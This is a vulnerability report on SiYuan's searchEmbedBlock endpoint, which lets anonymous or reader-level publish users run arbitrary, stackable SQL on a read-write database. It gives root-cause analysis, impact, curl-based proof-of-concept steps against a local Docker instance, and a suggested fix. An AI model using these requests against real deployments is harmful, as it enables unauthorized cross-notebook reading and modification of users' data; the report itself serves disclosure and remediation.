SiYuan: Unauthenticated arbitrary SQL execution via searchEmbedBlock (publish mode) : reader-reachable raw statement on read-write handle, cross-notebook read/write

Route/auth tier. router.go: Handle("POST", "/api/search/searchEmbedBlock", model.CheckAuth, searchEmbedBlock), CheckAuth only. CheckAuth admits RoleReader, and the publish proxy forwards port-6808 traffic with a Reader JWT (anonymous account when publish auth is disabled). Anonymous/reader reachable.

Handle/stacking. query() uses the global siyuan.db handle, the same read-write handle behind the accepted searchDocs finding. Driver is the vendored 88250/go-sqlite3 (mattn fork), whose connection query loops over ;-separated statements, so stacked statements execute for their side effects. The DSN sets no mode=ro / _query_only, so the handle is read-write; ATTACH is available.

Post-hoc filter does not bound the statement. FilterEmbedBlocksByPublishAccess runs on the returned slice after query() has executed. It filters rows; it cannot constrain what the statement did. Any write or ATTACH side effect has already occurred before the filter runs. It is not a security boundary for this sink.

Scope. The main blocks/DB handle spans every opened cleartext notebook. Encrypted notebooks use separate per-box databases and are excluded.

Impact

An unauthenticated request (publish mode with auth disabled) or any publish RoleReader executes arbitrary SQL on the main read-write database. This permits cross-notebook read disclosure of document content, and via the read-write handle and statement stacking, modification of database content and ATTACH-reachable files. No admin role, CSRF token, or write permission through the normal API is required. Encrypted notebooks are not exposed. Code execution is not reachable in the default build (no load_extension).

PoC Steps

1. Build the kernel image from pinned HEAD

docker build -f D:/bb/zitadel/chatto/siyuan/Dockerfile.poc -t siyuan-head D:/bb/zitadel/chatto/siyuan

2. Run fresh, workspace mounted to the host

docker rm -f siyuan-poc 2>nul
docker run -d --name siyuan-poc -p 6806:6806 -p 6808:6808 -v D:/bb/siyuan:/siyuan/workspace siyuan-head serve --accessAuthCode=1234567 --port=6806

Confirm it booted (version string back, not Cobra help):

docker logs siyuan-poc
curl -s http://127.0.0.1:6806/api/system/version

3. Grab the admin API token from the host file. Use that value wherever TOKEN appears below (yours was g4wj3r04ntobe9m4).

4. Turn on the reader surface: publish on 6808, Basic Auth OFF

curl -s -X POST http://127.0.0.1:6806/api/setting/setPublish -H "Content-Type: application/json" -H "Authorization: Token TOKEN" -d "{\"enable\":true,\"port\":6808,\"auth\":{\"enable\":false,\"accounts\":[]}}"

Must return "data":{"port":6808,...} (non-zero port = bound OK). Port 6808, not 6806.

5. THE PROOF: anonymous reader on 6808, no token (the differential)

Guarded sibling rejects reader SQL: curl -i -X POST http://127.0.0.1:6808/api/search/fullTextSearchBlock -H "Content-Type: application/json" -d "{\"query\":\"SELECT * FROM blocks LIMIT 1\",\"method\":2}"

→ -1 / "SQL search requires administrator privileges"

searchEmbedBlock accepts the same reader SQL (no guard): curl -i -X POST http://127.0.0.1:6808/api/search/searchEmbedBlock -H "Content-Type: application/json" -d "{\"embedBlockID\":\"\",\"stmt\":\"SELECT * FROM blocks LIMIT 1\",\"excludeIDs\":[]}" → HTTP 200 / code:0 : arbitrary SQL executed at the anonymous reader tier. This pair is the finding.

Suggested fix

Apply the same controls the sibling SQL endpoints already use: route searchEmbedBlock through CheckSingleStatement and CheckReadonlyStatement, and gate the raw-SQL capability behind CheckAdminRole (as /api/query/sql and fullTextSearchBlock's SQL method do). At minimum, the read paths should run on a _query_only=1 handle so a reader-reachable statement cannot write or ATTACH.